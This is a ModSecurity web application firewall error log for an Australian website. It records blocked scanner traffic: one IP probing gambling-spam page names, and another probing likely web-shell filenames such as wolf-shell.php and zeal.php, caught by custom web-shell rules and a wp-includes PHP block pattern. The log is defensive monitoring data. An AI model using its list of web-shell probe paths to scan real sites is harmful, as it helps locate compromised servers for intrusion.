[Mon Mar 02 09:01:35.485324 2026] [:error] [pid 23872:tid 23876] [client 51.75.119.161:45140] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaThb0zkQFuA2qBk8UM_kAAAAYE"]
[Mon Mar 02 09:01:37.971912 2026] [:error] [pid 21575:tid 21602] [client 51.75.119.161:45156] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaThcSrocdArcJqFfIl6lQAAAVc"]
[Mon Mar 02 09:01:40.550000 2026] [:error] [pid 31257:tid 31267] [client 51.75.119.161:45170] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aaThdP-JFLfishX45N_d_QAAAQQ"]
[Mon Mar 02 09:01:42.950607 2026] [:error] [pid 23872:tid 23875] [client 51.75.119.161:45172] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aaThdkzkQFuA2qBk8UM_swAAAYA"]
[Mon Mar 02 09:01:45.481493 2026] [:error] [pid 31257:tid 31267] [client 51.75.119.161:45102] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aaThef-JFLfishX45N_eHQAAAQQ"]
[Mon Mar 02 09:01:47.810155 2026] [:error] [pid 31257:tid 31267] [client 51.75.119.161:45118] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaThe_-JFLfishX45N_eRgAAAQQ"]
[Mon Mar 02 09:01:50.217708 2026] [:error] [pid 28908:tid 28927] [client 51.75.119.161:45124] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaThfoqJmC8ih_lQQnDc0QAAANE"]
[Mon Mar 02 09:01:52.781724 2026] [:error] [pid 28795:tid 28864] [client 51.75.119.161:45134] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaThgLROd53wZBkdI_eLqAAAAIE"]
[Mon Mar 02 09:01:55.186652 2026] [:error] [pid 31257:tid 31280] [client 51.75.119.161:45140] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaThg_-JFLfishX45N_engAAARE"]
[Mon Mar 02 09:01:57.588529 2026] [:error] [pid 21575:tid 21598] [client 51.75.119.161:39844] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaThhSrocdArcJqFfIl7CAAAAVM"]
[Mon Mar 02 09:01:59.982571 2026] [:error] [pid 31257:tid 31274] [client 51.75.119.161:39854] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaThh_-JFLfishX45N_e0wAAAQs"]
[Mon Mar 02 09:02:02.547542 2026] [:error] [pid 28908:tid 28928] [client 51.75.119.161:39870] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaThioqJmC8ih_lQQnDc3gAAANI"]
[Mon Mar 02 09:02:04.964820 2026] [:error] [pid 21575:tid 21583] [client 51.75.119.161:39878] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aaThjCrocdArcJqFfIl7IQAAAUQ"]
[Mon Mar 02 09:02:07.581918 2026] [:error] [pid 23872:tid 23894] [client 51.75.119.161:55418] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaThj0zkQFuA2qBk8UNARwAAAZM"]
[Mon Mar 02 09:02:09.984174 2026] [:error] [pid 23872:tid 23876] [client 51.75.119.161:55426] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaThkUzkQFuA2qBk8UNAXwAAAYE"]
[Mon Mar 02 09:02:12.384856 2026] [:error] [pid 31257:tid 31285] [client 51.75.119.161:55438] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaThlP-JFLfishX45N_fAgAAARY"]
[Mon Mar 02 09:02:14.918710 2026] [:error] [pid 31257:tid 31270] [client 51.75.119.161:55444] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaThlv-JFLfishX45N_fHAAAAQc"]
[Mon Mar 02 09:02:17.327335 2026] [:error] [pid 23872:tid 23883] [client 51.75.119.161:55532] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaThmUzkQFuA2qBk8UNAeQAAAYg"]
[Mon Mar 02 09:03:03.087067 2026] [:error] [pid 23872:tid 23881] [client 51.75.119.161:55534] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaThx0zkQFuA2qBk8UNBkgAAAYY"]
[Mon Mar 02 09:03:05.557299 2026] [:error] [pid 23872:tid 23885] [client 51.75.119.161:37966] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaThyUzkQFuA2qBk8UNBtgAAAYo"]
[Mon Mar 02 09:03:07.925977 2026] [:error] [pid 31257:tid 31267] [client 51.75.119.161:37976] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aaThy_-JFLfishX45N_fmQAAAQQ"]
[Mon Mar 02 09:03:10.444599 2026] [:error] [pid 31257:tid 31268] [client 51.75.119.161:37982] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaThzv-JFLfishX45N_fnwAAAQU"]
[Mon Mar 02 09:03:12.974565 2026] [:error] [pid 23872:tid 23882] [client 51.75.119.161:37996] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aaTh0EzkQFuA2qBk8UNB2wAAAYc"]
[Mon Mar 02 09:03:15.359760 2026] [:error] [pid 23872:tid 23893] [client 51.75.119.161:50284] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aaTh00zkQFuA2qBk8UNB8AAAAZI"]
[Mon Mar 02 09:03:17.873792 2026] [:error] [pid 23872:tid 23883] [client 51.75.119.161:50300] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaTh1UzkQFuA2qBk8UNCBQAAAYg"]
[Mon Mar 02 09:03:20.253072 2026] [:error] [pid 21575:tid 21599] [client 51.75.119.161:50304] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaTh2CrocdArcJqFfIl7wwAAAVQ"]
[Mon Mar 02 09:03:22.773169 2026] [:error] [pid 21575:tid 21600] [client 51.75.119.161:50310] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aaTh2irocdArcJqFfIl7ywAAAVU"]
[Mon Mar 02 09:03:25.150567 2026] [:error] [pid 21575:tid 21582] [client 51.75.119.161:50312] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aaTh3SrocdArcJqFfIl70gAAAUM"]
[Mon Mar 02 09:03:27.691408 2026] [:error] [pid 28908:tid 28916] [client 51.75.119.161:42174] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aaTh34qJmC8ih_lQQnDdQAAAAMY"]
[Mon Mar 02 09:03:30.218742 2026] [:error] [pid 28793:tid 28825] [client 51.75.119.161:42182] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaTh4g2_fxBANaHo1f5EAgAAABI"]
[Mon Mar 02 09:03:32.595034 2026] [:error] [pid 28795:tid 28887] [client 51.75.119.161:42184] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aaTh5LROd53wZBkdI_eMEwAAAJg"]
[Mon Mar 02 09:03:35.104201 2026] [:error] [pid 23872:tid 23881] [client 51.75.119.161:42194] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaTh50zkQFuA2qBk8UNCWwAAAYY"]
[Mon Mar 02 09:12:48.737293 2026] [:error] [pid 23872:tid 23881] [client 43.157.50.58:59886] [client 43.157.50.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaTkEEzkQFuA2qBk8UNS2AAAAYY"]
[Mon Mar 02 09:36:48.448129 2026] [:error] [pid 31257:tid 31282] [client 20.63.41.168:29654] [client 20.63.41.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "aaTpsP-JFLfishX45N8CVgAAARM"]
[Mon Mar 02 09:37:26.618957 2026] [:error] [pid 28908:tid 28921] [client 182.44.67.97:59911] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaTp1oqJmC8ih_lQQnDuQgAAAMs"]
[Mon Mar 02 09:37:57.974348 2026] [:error] [pid 31257:tid 31280] [client 20.63.41.168:29577] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaTp9f-JFLfishX45N8DnAAAARE"]
[Mon Mar 02 09:37:58.645308 2026] [:error] [pid 23872:tid 23897] [client 20.63.41.168:29682] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaTp9kzkQFuA2qBk8UN5VwAAAZY"]
[Mon Mar 02 09:38:00.720770 2026] [:error] [pid 23872:tid 23881] [client 20.63.41.168:29578] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaTp-EzkQFuA2qBk8UN5WgAAAYY"]
[Mon Mar 02 09:38:02.501219 2026] [:error] [pid 23872:tid 23897] [client 20.63.41.168:29669] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaTp-kzkQFuA2qBk8UN5bAAAAZY"]
[Mon Mar 02 09:38:03.692524 2026] [:error] [pid 21575:tid 21602] [client 20.63.41.168:29579] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaTp-yrocdArcJqFfImS7AAAAVc"]
[Mon Mar 02 09:38:04.872651 2026] [:error] [pid 31257:tid 31265] [client 20.63.41.168:29672] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaTp_P-JFLfishX45N8DrQAAAQI"]
[Mon Mar 02 09:38:07.276053 2026] [:error] [pid 28795:tid 28881] [client 20.63.41.168:29643] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaTp_7ROd53wZBkdI_eaPgAAAJI"]
[Mon Mar 02 09:38:09.319700 2026] [:error] [pid 28908:tid 28931] [client 20.63.41.168:29588] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaTqAYqJmC8ih_lQQnDufAAAANU"]
[Mon Mar 02 09:38:10.169096 2026] [:error] [pid 31257:tid 31275] [client 20.63.41.168:29673] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aaTqAv-JFLfishX45N8DtAAAAQw"]
[Mon Mar 02 09:38:11.955040 2026] [:error] [pid 23872:tid 23885] [client 20.63.41.168:29629] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aaTqA0zkQFuA2qBk8UN5qwAAAYo"]
[Mon Mar 02 09:38:12.661127 2026] [:error] [pid 23872:tid 23879] [client 20.63.41.168:29657] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aaTqBEzkQFuA2qBk8UN5sQAAAYQ"]
[Mon Mar 02 09:38:14.584838 2026] [:error] [pid 21575:tid 21597] [client 20.63.41.168:29515] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aaTqBirocdArcJqFfImTCgAAAVI"]
[Mon Mar 02 09:38:15.622341 2026] [:error] [pid 23872:tid 23890] [client 20.63.41.168:29637] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asf.php"] [unique_id "aaTqB0zkQFuA2qBk8UN5vwAAAY8"]
[Mon Mar 02 09:38:16.480148 2026] [:error] [pid 23872:tid 23898] [client 20.63.41.168:29649] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asf.php"] [unique_id "aaTqCEzkQFuA2qBk8UN5yQAAAZc"]
[Mon Mar 02 09:38:18.010583 2026] [:error] [pid 23872:tid 23897] [client 20.63.41.168:29573] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asf.php"] [unique_id "aaTqCkzkQFuA2qBk8UN54QAAAZY"]
[Mon Mar 02 09:38:18.845065 2026] [:error] [pid 21575:tid 21599] [client 20.63.41.168:29685] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asf.php"] [unique_id "aaTqCirocdArcJqFfImTEQAAAVQ"]
[Mon Mar 02 09:38:20.691876 2026] [:error] [pid 31257:tid 31279] [client 20.63.41.168:29683] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php"] [unique_id "aaTqDP-JFLfishX45N8DyAAAARA"]
[Mon Mar 02 09:38:21.361231 2026] [:error] [pid 23872:tid 23887] [client 20.63.41.168:29656] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php"] [unique_id "aaTqDUzkQFuA2qBk8UN57AAAAYw"]
[Mon Mar 02 09:38:22.119931 2026] [:error] [pid 23872:tid 23896] [client 20.63.41.168:29687] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php"] [unique_id "aaTqDkzkQFuA2qBk8UN58QAAAZU"]
[Mon Mar 02 09:38:23.005295 2026] [:error] [pid 21575:tid 21601] [client 20.63.41.168:29694] [client 20.63.41.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php"] [unique_id "aaTqDyrocdArcJqFfImTGQAAAVY"]
